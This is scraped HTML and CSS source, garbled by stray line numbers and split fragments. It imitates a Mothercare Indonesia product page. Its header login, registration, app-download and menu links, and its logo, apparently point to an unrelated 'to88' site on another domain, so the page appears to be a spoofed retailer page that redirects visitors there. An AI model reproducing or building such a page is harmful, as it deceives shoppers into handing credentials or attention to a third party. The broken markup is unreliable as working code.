url(data:image/svg+xml,%0A%3Csvg%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Cpath%20d%3D%22M8%204.5C7.8674%204.5%207.74023%204.44732%207.64645%204.35355C7.55268%204.25977%207.5%204.1326%207.5%204V1C7.5%200.867392%207.55268%200.740215%207.64645%200.646447C7.74023%200.552677%207.8674%200.5%208%200.5C8.1326%200.5%208.25977%200.552677%208.35355%200.646447C8.44732%200.740215%208.5%200.867392%208.5%201V4C8.5%204.1326%208.44732%204.25977%208.35355%204.35355C8.25977%204.44732%208.1326%204.5%208%204.5Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M10.82%205.68005C10.7209%205.68013%2010.624%205.65075%2010.54
896816%205.59568C10.4593%205.54058%2010.3951%205.46225%2010.3573%205.37063C10.3196%205.27903%2010.3099%205.17825%2010.3295%205.0811C10.3491%204.98395%2010.3971%204.89485%2010.4675%204.82505L12.595%202.69755C12.6414%202.6511%2012.6966%202.61425%2012.7573%202.5891C12.818%202.56398%2012.883%202.55103%2012.9487%202.55103C13.0144%202.55103%2013.0795%202.56398%2013.1402%202.5891C13.2009%202.61425%2013.256%202.6511%2013.3025%202.69755C13.3489%202.744%2013.3858%202.79915%2013.4109%202.85985C13.4361%202.92055%2013.449%202.9856%2013.449%203.0513C13.449%203.117%2013.4361%203.18205%2013.4109%203.24275C13.3858%203.30345%2013.3489%203.3586%2013.3025%203.40505L11.175%205.53255C11.1285%205.57935%2011.0732%205.61648%2011.0122%205.64178C10.9513%205.6671%2010.886%205.6801%2010.82%205.68005Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M15%208.5H12C11.8674%208.5%2011.7402%208.44732%2011.6465%208.35355C11.5527%208.25977%2011.5%208.1326%2011.5%208C11.5%207.8674%2011.5527%207.74023%2011.6465%207.64645C11.7402%207.55268%2011.8674%207.5%2012%207.5H15C15.1326%207.5%2015.2598%207.55268%2015.3535%207.64645C15.4473%207.74023%2015.5%207.8674%2015.5%208C15.5%208.1326%2015.4473%208.25977%2015.3535%208.35355C15.2598%208.44732%2015.1326%208.5%2015%208.5Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M12.9501%2013.4499C12.8841%2013.45%2012.8188%2013.437%2012.7578%2013.4117C12.6969%2013.3864%2012.6416%2013.3492%2012.5951%2013.3024L10.4676%2011.1749C10.3738%2011.0811%2010.321%2010.9539%2010.321%2010.8212C10.321%2010.6885%2010.3738%2010.5613%2010.4676%2010.4674C10.5614%2010.3736%2010.6886%2010.3209%2010.8213%2010.3209C10.954%2010.3209%2011.0813%2010.3736%2011.1751%2010.4674L13.3026%2012.5949C13.3729%2012.6647%2013.421%2012.7538%2013.4406%2012.851C13.4602%2012.9481%2013.4505%2013.0489%2013.4127%2013.1405C13.375%2013.2321%2013.3108%2013.3105%2013.2284%2013.3656C13.1461%2013.4206%2013.0492%2013.45%2012.9501%2013.4499Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M8%2015.5C7.8674%2015.5%207.74023%2015.4473%207.64645%2015.3535C7.55268%2015.2598%207.5%2015.1326%207.5%2015V12C7.5%2011.8674%207.55268%2011.7402%207.64645%2011.6465C7.74023%2011.5527%207.8674%2011.5%208%2011.5C8.1326%2011.5%208.25977%2011.5527%208.35355%2011.6465C8.44732%2011.7402%208.5%2011.8674%208.5%2012V15C8.5%2015.1326%208.44732%2015.2598%208.35355%2015.3535C8.25977%2015.4473%208.1326%2015.5%208%2015.5Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M3.04997%2013.4499C2.95087%2013.45%202.85397%2013.4206%202.77159%2013.3656C2.68922%2013.3105%202.62509%2013.2321%202.58732%2013.1405C2.54954%2013.0489%202.53984%2012.9481%202.55944%2012.851C2.57907%2012.7538%202.62709%2012.6647%202.69747%2012.5949L4.82497%2010.4674C4.87142%2010.421%204.92657%2010.3841%204.98727%2010.359C5.04797%2010.3339%205.11302%2010.3209%205.17872%2010.3209C5.24442%2010.3209%205.30947%2010.3339%205.37017%2010.359C5.43087%2010.3841%205.48602%2010.421%205.53247%2010.4674C5.57892%2010.5139%205.61577%2010.569%205.64092%2010.6297C5.66604%2010.6904%205.67899%2010.7555%205.67899%2010.8212C5.67899%2010.8869%205.66604%2010.9519%205.64092%2011.0126C5.61577%2011.0733%205.57892%2011.1285%205.53247%2011.1749L3.40497%2013.3024C3.35844%2013.3492%203.30314%2013.3864%203.24222%2013.4117C3.18127%2013.437%203.11594%2013.45%203.04997%2013.4499Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M4%208.5H1C0.867392%208.5%200.740215%208.44732%200.646447%208.35355C0.552677%208.25977%200.5%208.1326%200.5%208C0.5%207.8674%200.552677%207.74023%200.646447%207.64645C0.740215%207.55268%200.867392%207.5%201%207.5H4C4.1326%207.5%204.25977%207.55268%204.35355%207.64645C4.44732%207.74023%204.5%207.8674%204.5%208C4.5%208.1326%204.44732%208.25977%204.35355%208.35355C4.25977%208.44732%204.1326%208.5%204%208.5Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M5.18005%205.68005C5.11407%205.6801%205.04872%205.6671%204.9878%205.64178C4.92687%205.61648%204.87155%205.57935%204.82505%205.53255L2.69755%203.40505C2.65108%203.3586%202.61423%203.30345%202.5891%203.24275C2.56395%203.18205%202.55103%203.117%202.55103%203.0513C2.55103%202.9856%202.56395%202.92055%202.5891%202.85985C2.61423%202.79915%202.65108%202.744%202.69755%202.69755C2.744%202.6511%202.79915%202.61425%202.85985%202.5891C2.92055%202.56398%202.9856%202.55103%203.0513%202.55103C3.117%202.55103%203.18205%202.56398%203.24275%202.5891C3.30342%202.61425%203.35857%202.6511%203.40505%202.69755L5.5325
89685%204.82505C5.6029%204.89485%205.65095%204.98395%205.67055%205.0811C5.69017%205.17825%205.68047%205.27903%205.6427%205.37063C5.60492%205.46225%205.54077%205.54058%205.4584%205.59568C5.37602%205.65075%205.27915%205.68013%205.18005%205.68005Z%22%20fill%3D%22white%22%2F%3E%0A%3C%2Fsvg%3E%0A) 8969 } 8970 8971 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn img, 8972 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn svg { 8973 margin-right: 5px 8974 } 8975 8976 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn:disabled { 8977 cursor: default; 8978 opacity: .95 8979 } 8980 8981 .kuQuickSearchImageUploadContainer .kuQuickUploadHeaderTitle { 8982 font-size: 1.3em; 8983 display: block 8984 } 8985 8986 .kuQuickSearchImageUploadContainer .kuQuickImageSearchForm { 8987 display: none !important 8988 } 8989 8990 .kuQuickSearchImageUploadContainer .kuImgSearchPrivacyNote { 8991 position: relative 8992 } 8993 8994 .kuQuickSearchImageUploadContainer .kuImgSearchPrivacyNote .kuImgSearchPrivacyNoteInfo { 8995 padding-left: 24px 8996 } 8997 8998 .kuQuickSearchImageUploadContainer .kuImgSearchPrivacyNote .kuImgSearchPrivacyNoteInfo::before { 8999 content: url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%3E%0A%3Cg%20id%3D%22surface1%22%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%206.832031%206%20L%207.167969%206%20C%207.351562%206%207.5%206.183594%207.5%206.332031%20L%207.5%2010.332031%20C%207.5%2010.515625%207.351562%2010.664062%207.167969%2010.664062%20L%206.832031%2010.664062%20C%206.648438%2010.664062%206.5%2010.480469%206.5%2010.332031%20L%206.5%206.332031%20C%206.5%206.148438%206.648438%206%206.832031%206%20Z%20M%206.832031%206%20%22%2F%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%206.832031%203.671875%20L%207.167969%203.671875%20C%207.351562%203.671875%207.5%203.855469%207.5%204.003906%20L%207.5%204.671875%20C%207.5%204.855469%207.351562%205.003906%207.167969%205.003906%20L%206.832031%205.003906%20C%206.648438%205.003906%206.5%204.820312%206.5%204.671875%20L%206.5%204.003906%20C%206.5%203.820312%206.648438%203.671875%206.832031%203.671875%20Z%20M%206.832031%203.671875%20%22%2F%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%207%2012.992188%20C%208.589844%2012.992188%2010.113281%2012.363281%2011.238281%2011.238281%20C%2012.363281%2010.113281%2012.992188%208.589844%2012.992188%207%20C%2012.992188%205.410156%2012.363281%203.886719%2011.238281%202.761719%20C%2010.113281%201.636719%208.589844%201.007812%207%201.007812%20C%205.410156%201.007812%203.886719%201.636719%202.761719%202.761719%20C%201.636719%203.886719%201.007812%205.410156%201.007812%207%20C%201.007812%208.589844%201.636719%2010.113281%202.761719%2011.238281%20C%203.886719%2012.363281%205.410156%2012.992188%207%2012.992188%20Z%20M%207%2013.992188%20C%205.144531%2013.992188%203.367188%2013.257812%202.054688%2011.945312%20C%200.742188%2010.632812%200.0078125%208.855469%200.0078125%207%20C%200.0078125%205.144531%200.742188%203.367188%202.054688%202.054688%20C%203.367188%200.742188%205.144531%200.0078125%207%200.0078125%20C%208.855469%200.0078125%2010.632812%200.742188%2011.945312%202.054688%20C%2013.257812%203.367188%2013.992188%205.144531%2013.992188%207%20C%2013.992188%208.855469%2013.257812%2010.632812%2011.945312%2011.945312%20C%2010.632812%2013.257812%208.855469%2013.992188%207%2013.992188%20Z%20M%207%2013.992188%20%22%2F%3E%0A%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A); 9000 display: inline-block; 9001 width: 16px; 9002 position: absolute; 9003 left: 0 9004 } 9005 9006 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks { 9007 position: relative 9008 } 9009 9010 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks input { 9011 position: absolute; 9012 opacity: 0; 9013 z-index: -1 9014 } 9015 9016 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-label { 9017 cursor: pointer; 9018 position: relative; 9019 padding-right: 18px 9020 } 9021 9022 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-label::after { 9023 content: url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%228px%22%20height%3D%2213px%22%20viewBox%3D%220%200%208%2012%22%20version%3D%221.1%22%3E%0A%3Cg%20id%3D%22surface1%22%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%207.136719%206.398438%20L%202.277344%2010.953125%20C%202.042969%2011.171875%201.664062%2011.171875%201.429688%2010.953125%20L%200.863281%2010.421875%20C%200.628906%2010.203125%200.628906%209.847656%200.863281%209.625%20L%204.710938%206%20L%200.863281%202.375%20C%200.628906%202.152344%200.628906%201.796875%200.863281%201.5
902378125%20L%201.429688%201.046875%20C%201.664062%200.828125%202.042969%200.828125%202.277344%201.046875%20L%207.136719%205.601562%20C%207.371094%205.820312%207.371094%206.179688%207.136719%206.398438%20Z%20M%207.136719%206.398438%20%22%2F%3E%0A%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A); 9024 position: absolute; 9025 right: 0; 9026 top: 1px 9027 } 9028 9029 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-content { 9030 display: none; 9031 position: relative; 9032 background-color: #f5f6f4; 9033 padding: 10px; 9034 margin-top: 8px 9035 } 9036 9037 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-content p { 9038 margin: 0; 9039 padding-left: 64px 9040 } 9041 9042 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-content .img1::before { 9043 content: url(data:image/svg+xml,%0A%3Csvg%20width%3D%2226%22%20height%3D%2229%22%20viewBox%3D%220%200%2026%2029%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Cpath%20d%3D%22M1%207.65073V21.0515L13%2027.8015L25%2021.0515V7.65073L13%201L1%207.65073Z%22%20stroke%3D%22%23999999%22%20stroke-miterlimit%3D%2210%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%3Cpath%20d%3D%22M1%208.14697L13%2014.897L25%208.14697%22%20stroke%3D%22%23999999%22%20stroke-miterlimit%3D%2210%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%3Cpath%20d%3D%22M13%2027.8014V14.897%22%20stroke%3D%22%23999999%22%20stroke-miterlimit%3D%2210%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%3C%2Fsvg%3E%0A); 9044 width: 16px; 9045 position: absolute 9046 } 9047 9048 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-content .img2::before { 9049 content: url(data:image/svg+xml,%0A%3Csvg%20width%3D%2218%22%20height%3D%2225%22%20viewBox%3D%220%200%2018%2025%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Crect%20x%3D%220.5%22%20y%3D%220.5%22%20width%3D%227%22%20height%3D%226%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%220.5%22%20y%3D%229.5%22%20width%3D%227%22%20height%3D%226%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%220.5%22%20y%3D%2218.5%22%20width%3D%227%22%20height%3D%226%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%220.5%22%20width%3D%227%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.25%22%20y%3D%223.25%22%20width%3D%227.5%22%20height%3D%220.5%22%20stroke%3D%22%23999999%22%20stroke-width%3D%220.5%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%225.5%22%20width%3D%224%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%229.5%22%20width%3D%227%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.25%22%20y%3D%2212.25%22%20width%3D%227.5%22%20height%3D%220.5%22%20stroke%3D%22%23999999%22%20stroke-width%3D%220.5%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%2214.5%22%20width%3D%224%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%2218.5%22%20width%3D%227%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.25%22%20y%3D%2221.25%22%20width%3D%227.5%22%20height%3D%220.5%22%20stroke%3D%22%23999999%22%20stroke-width%3D%220.5%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%2223.5%22%20width%3D%224%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3C%2Fsvg%3E%0A); 9050 width: 16px; 9051 position: absolute; 9052 margin-left: 34px; 9053 margin-top: 3px 9054 } 9055 9056 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks input:checked~.accordion-label::after { 9057 content: url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%2212px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2012%2013%22%20version%3D%221.1%22%3E%0A%3Cg%20id%3D%22surface1%22%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%205.546875%209.6875%20L%200.339844%204.75%20C%200.0898438%204.511719%200.0898438%204.128906%200.339844%203.890625%20L%200.945312%203.3125%20C%201.199219%203.078125%201.605469%203.074219%201.855469%203.3125%20L%206%207.222656%20L%2010.144531%203.3125%20C%2010.394531%203.074219%2010.800781%203.078125%2011.054688%203.3125%20L%2011.660156%203.890625%20C%2011.910156%204.128906%2011.910156%204.511719%2011.660156%204.75%20L%206.453125%209.6875%20C%206.203125%209.925781%205.796875%209.925781%205.546875%209.6875%20Z%20M%205.546875%209.6875%20%22%2F%3E%0A%3C%2Fg%3E%0A%3C%2Fsvg%3E); 9058 position: absolute; 9059 right: 0; 9060 top: 1px 9061 } 9062 9063 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks input:checked~.accordion-content { 9064 display: block 9065 } 9066 9067 @media screen and (max-width:640px) { 9068 9069 .klevuTarget.klevu-fluid.kuEmptySearchBox .kuQuickImageSearchWra
9069p, 9070 .klevuTarget.kuQuickSearchFacetedLayout .kuQuickImageSearchWrap, 9071 .klevuTarget.kuQuickSearchResultsContainer .kuQuickImageSearchWrap, 9072 .klevuTarget.kuPersonalizedSearchRecsEnabled .kuQuickImageSearchWrap, 9073 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled .kuQuickImageSearchWrap, 9074 .klevuTarget .kuQuickImageSearchWrap { 9075 position: fixed !important; 9076 top: 15% !important; 9077 max-width: 80% !important; 9078 left: 10% !important; 9079 right: auto !important; 9080 z-index: 1000000; 9081 margin-left: 0; 9082 width: 80% !important 9083 } 9084 9085 .klevuTarget.klevu-fluid>div.kuQuickImageSearchWrap { 9086 left: 10% !important; 9087 width: 80% !important; 9088 z-index: 1000000 !important 9089 } 9090 9091 .kuImageSearchWrapBackDrop { 9092 z-index: 1000 !important 9093 } 9094 9095 .kuImageSearchWrapBackDrop::before { 9096 content: ''; 9097 height: 100% !important; 9098 width: 100% !important; 9099 background: rgba(0, 0, 0, 0.5); 9100 z-index: 1000; 9101 position: fixed; 9102 left: 0; 9103 top: 0; 9104 bottom: 0 9105 } 9106 9107 .kuQuickUploadHeaderTitle { 9108 text-align: center 9109 } 9110 9111 .kuImgSearchHowItWorks { 9112 text-align: center 9113 } 9114 9115 .kuImgSearchHowItWorks .accordion-content { 9116 text-align: left 9117 } 9118 } 9119 </style> 9120</head> 9121 9122<body data-container="body" data-mage-init="{"loaderAjax": {}, "loader": { "icon": "https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp"}}" class="breeze breeze-theme page-product-configurable catalog-product-view product-nordic-naturals-baby-s-dha-52135545-AYO01 page-layout-1column" id="html-body" data-breeze-processed="true"> 9123 <noscript> 9124 <div class="message global noscript"> 9125 <div class="content"> 9126 <p> 9127 <strong>sepertinya JavaScript tidak aktif pada browser anda </strong> 9128 <span> Untuk pengalaman terbaik di situs kami, pastikan untuk mengaktifkan Javascript di browser Anda. </span> 9129 </p> 9130 </div> 9131 </div> 9132 </noscript> 9133
9133<script data-breeze=""> 9134 var cookiesConfig = { 9135 expires: null, 9136 path: '\u002F', 9137 domain: '.mothercare.co.id', 9138 secure: true, 9139 lifetime: '3600' 9140 }; 9141 </script>
9141 9142
9142<script type="text/x-magento-init" data-breeze-processed="true"> { 9143 "*": { 9144 "Magento_GoogleTagManager/js/google-tag-manager-cart": { 9145 "blockNames": ["category.products.list","product.info.upsell","catalog.product.related","checkout.cart.crosssell","search_result_list"], 9146 "cookieAddToCart": "add_to_cart", 9147 "cookieRemoveFromCart": 9148 "remove_from_cart", 9149 "advancedAddToCart": "add_to_cart_advanced" 9150 } 9151 } 9152 } 9153</script>
9153 9154
9154<script> 9155 var googleMapsConfig = { 9156 src: 'https\u003A\u002F\u002Fmaps.googleapis.com\u002Fmaps\u002Fapi\u002Fjs\u003Fv\u003D3\u0026key\u003D', 9157 style: '', 9158 apiKey: '' 9159 } 9160 </script>
9160 9161 <div class="page-wrapper"> 9162 <header class="page-header"> 9163 <div class="panel wrapper"> 9164 <div class="panel header" style="background: linear-gradient(135deg, #8e0000, #980f0f, #8c0f0f);"><a class="action skip contentarea" href="#contentarea"> 9165 <span> lewati ke Konten </span> 9166 </a> 9167 <div class="left_top_header"> 9168 <div class="top-header-components-mc left-top"> 9169 <div class="header_panel_info"> 9170 <ul> 9171 <li class="download-app-link"> 9172 <a href="https://www.entretiendecheveuxafro.com/to88/"> 9173 <img width="14" height="14" alt="download icon" loading="lazy" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/app.png"> download apps </a> 9174 <div class="download-popup"> 9175 <div class="wrap"> 9176 <div class="right-cols"> 9177 <div class="app-content"> download app from: <div class="view code app_store"> 9178 <a class="sh-store-link" href="https://www.entretiendecheveuxafro.com/to88/" ng-click="callAction($event, 'appStore')"> 9179 <img loading="lazy" width="200" height="60" alt="app store" class="sh-store-link__image" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/apple-en.png"> 9180 </a> 9181 </div> 9182 <div class="view code play_store"> 9183 <a class="sh-store-link" data-test="google-play-link" href="https://www.entretiendecheveuxafro.com/to88/" ng-click="callAction($event, 'appStore')"> 9184 <img loading="lazy" width="200" height="60" alt="google play" class="sh-store-link__image" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/google-en.png"> 9185 </a> 9186 </div> 9187 </div> 9188 </div> 9189 </div> 9190 </div> 9191 </li> 9192 <li> 9193 <a href="https://www.entretiendecheveuxafro.com/to88/"> 9194 <img loading="lazy" width="22" height="22" alt="gift registry icon" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gift_white.svg"> gift registry </a> 9195 </li> 9196 </ul> 9197 </div> 9198 </div> 9199 </div> 9200 <div class="right_top_header"> 9201 <div class="switcher language switcher-language" data-ui-id="language-switcher" id="switcher-language"> 9202 <strong class="label switcher-label"><span>Bahasa</span></strong> 9203 <div class="actions dropdown options switcher-options"> 9204 <div class="action toggle switcher-trigger" id="switcher-language-trigger"> 9205 <strong class="view-mothercare_website_bahasa"> 9206 <span>ID</span> 9207 </strong> 9208 </div> 9209 <div class="ui-dialog mage-dropdown-dialog" role="dialog" style="display: none;"> 9210 <ul class="dropdown switcher-dropdown" data-mage-init="{"dropdownDialog":{ 9211 "appendTo":"#switcher-language > .options", 9212 "triggerTarget":"#switcher-language-trigger", 9213 "closeOnMouseLeave": false, 9214 "triggerClass":"active", 9215 "parentClass":"active", 9216 "buttons":null}}" data-breeze-processed="true"> 9217 </ul> 9218 </div> 9219 <div class="ui-dialog mage-dropdown-dialog" role="dialog" style="display: none;"> 9220 <ul class="dropdown switcher-dropdown" data-mage-init="{"dropdownDialog":{ 9221 "appendTo":"#switcher-language > .options", 9222 "triggerTarget":"#switcher-language-trigger", 9223 "closeOnMouseLeave": false, 9224 "triggerClass":"active", 9225 "parentClass":"active", 9226 "buttons":null}}" data-breeze-processed="true"> 9227 </ul> 9228 </div> 9229 </div> 9230 </div> 9231 <style> 9232 .switch { 9233 position: relative; 9234 display: inline-block; 9235 width: 60px; 9236 height: 34px; 9237 } 9238 9239 .switch input { 9240 opacity: 0; 9241 width: 0; 9242 height: 0; 9243 } 9244 9245 .slider { 9246 position: absolute; 9247 cursor: pointer; 9248 top: 0; 9249 left: 0; 9250 right: 0; 9251 bottom: 0; 9252 background-color: #ccc; 9253 -webkit-transition: .4s; 9254 transition: .4s; 9255 } 9256 9257 .slider:before { 9258 position: absolute; 9259 content: "ID";
9260 height: 26px; 9261 width: 26px; 9262 left: 4px; 9263 bottom: 4px; 9264 background-color: white; 9265 -webkit-transition: .4s; 9266 transition: .4s; 9267 color: #000; 9268 } 9269 9270 input:checked+.slider { 9271 background-color: #ccc; 9272 } 9273 9274 input:focus+.slider { 9275 box-shadow: 0 0 1px #2196F3; 9276 } 9277 9278 input:checked+.slider:before { 9279 -webkit-transform: translateX(26px); 9280 -ms-transform: translateX(26px); 9281 transform: translateX(26px); 9282 content: "EN"; 9283 color: #000; 9284 } 9285 9286 /* Rounded sliders */ 9287 .slider.round { 9288 border-radius: 34px; 9289 } 9290 9291 .slider.round:before { 9292 border-radius: 50%; 9293 } 9294 </style> 9295 <div class="top-header-components-mc"> 9296 <div class="lang-switch-mc"> 9297 <li><label class="switch"> 9298 <input type="checkbox" checked=""> 9299 <span class="slider round"></span> 9300 </label> 9301 </li> 9302 </div> 9303 <div class="header_panel_info"> 9304 <ul> 9305 <li><a href="https://www.entretiendecheveuxafro.com/to88/"><img loading="lazy" width="22" height="22" alt="store finder icon" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp">LOGIN</a></li> 9306 <li><a href="https://www.entretiendecheveuxafro.com/to88/"><img loading="lazy" width="22" height="22" alt="Kanmo Circle logo" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp">DAFTAR</a></li> 9307 <li><a href="https://www.entretiendecheveuxafro.com/to88/"><img loading="lazy" width="22" height="22" alt="Whatsapp logo" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/Whatsapp_Logo.svg"> Contact Us</a></li> 9308 </ul> 9309 </div> 9310 </div> 9311 <style> 9312 .header_panel_info ul { 9313 display: flex; 9314 column-gap: 20px; 9315 list-style: none; 9316 } 9317 9318 .header_panel_info img { 9319 margin-right: 10px; 9320 } 9321 9322 .panel.header div { 9323 width: 100%; 9324 } 9325 9326 .top-header-components-mc { 9327 display: flex; 9328 justify-content: space-between; 9329 } 9330 9331 .lang-switch-mc li { 9332 list-style: none; 9333 } 9334 9335 @media only screen and (max-width: 769px) { 9336 .header_panel_info ul { 9337 flex-direction: column; 9338 } 9339 } 9340 </style> 9341 </div> 9342 </div> 9343 </div> 9344 <div class="header content"><span data-action="toggle-nav" class="action nav-toggle" tabindex="0"><span>Toggle Nav</span></span> 9345 <a class="logo" href="https://www.entretiendecheveuxafro.com/blog/" title="" aria-label="store logo"> 9346 <img src="https://res.cloudinary.com/t04uaud0/image/upload/v1790673340/logo-to88.png" title="" alt="" width="200" height="155"> 9347 </a> 9348 <div class="kanmo-middle-header"> 9349 <div class="navigation-wrapper"><span data-action="toggle-nav" class="button-close" tabindex="0"></span> 9350 <div class="top-header-components-mc mobile-component"> 9351 <div class="header_panel_info"> 9352 <ul> 9353 <li><a href="https://www.entretiendecheveuxafro.com/blog/"><span><img loading="lazy" width="22" height="22" alt="Kanmo Circle logo" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/KanmoCircle.svg"></span>about Kanmo Circle</a></li> 9354 <li><a href="https://www.entretiendecheveuxafro.com/blog/"><img loading="lazy" width="22" height="22" alt="gift registry icon" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gift_blue.svg">gift registry</a></li> 9355 <li><a href="https://www.entretiendecheveuxafro.com/blog/"><span><img loading="lazy" width="22" height="22" alt="store finder icon" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/storefinder_blue.svg"></span>store finder</a></li> 9356 <li><a href="https://www.entretiendecheveuxafro.com/blog/"><span><img loading="lazy" width="22" height="22" alt="Whatsapp logo" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/Whatsapp_Logo.svg"></span>contact us</a></li> 9357 </ul> 9358 </div> 9359 </div> 9360 <div class="block ves-menu ves-megamenu-mobile " id="menu-top-mothercare1742308061777474800-menu"> 9361 <nav class="navigation" role="navigation" data-action="navigation"> 9362 <ul id="menu-top-mothercare1742308061777474800" class="ves-megamenu menu-hover ves-horizontal " data-mage-init="{"menu":{"responsive":false, "expanded":false, "position":{"my":"left top","at":"left bottom"}}}" data-toggle-mobile-nav="false" data-breeze-processed="true"> 9363 <li id="vesitem-884521742308061573800708" class=" nav-item level0 submenu-left subhover dropdown level-top "><a href="https://www.entretiendecheveuxafro.com/blog/" style="font-size:12px;" class=" nav-anchor"><span>To88</span><span class="caret"></span><span class="opener"></span></a> 9364 <div class="submenu animated dropdown-menu" style="width:100%;animation-duration: 0.5s;-webkit-animation-duration: 0.5s;"> 9365 <div class="content-wrap"> 9366 <div class="megamenu-content" style="width:100%"> 9367 <div class="nav-dropdown"> 9368 <div class="nav-desk row equal nav-revamp"> 9369 <div class="col-md-12"> 9370 <div class="row"> 9371 <div class="brand-az"> 9372 <a href="" title="A" class="active">A</a> 9373 <a href="" title="B">B</a> 9374 <a href="" title="C">C</a> 9375 <a href="" title="D">D</a> 9376 <a href="" title="E">E</a> 9377 <a href="" title="F">F</a> 9378 <a href="" title="G">G</a> 9379 <a href="" title="H">H</a> 9380 <a href="" title="I">I</a> 9381 <a href="" title="J">J</a> 9382 <a href="" title="K">K</a> 9383 <a href="" title="L">L</a> 9384 <a href="" title="M">M</a> 9385 <a href="" title="N">N</a> 9386 <a href="" title="O">O</a> 9387 <a href="" title="P">P</a> 9388 <a href="" title="Q">Q</a> 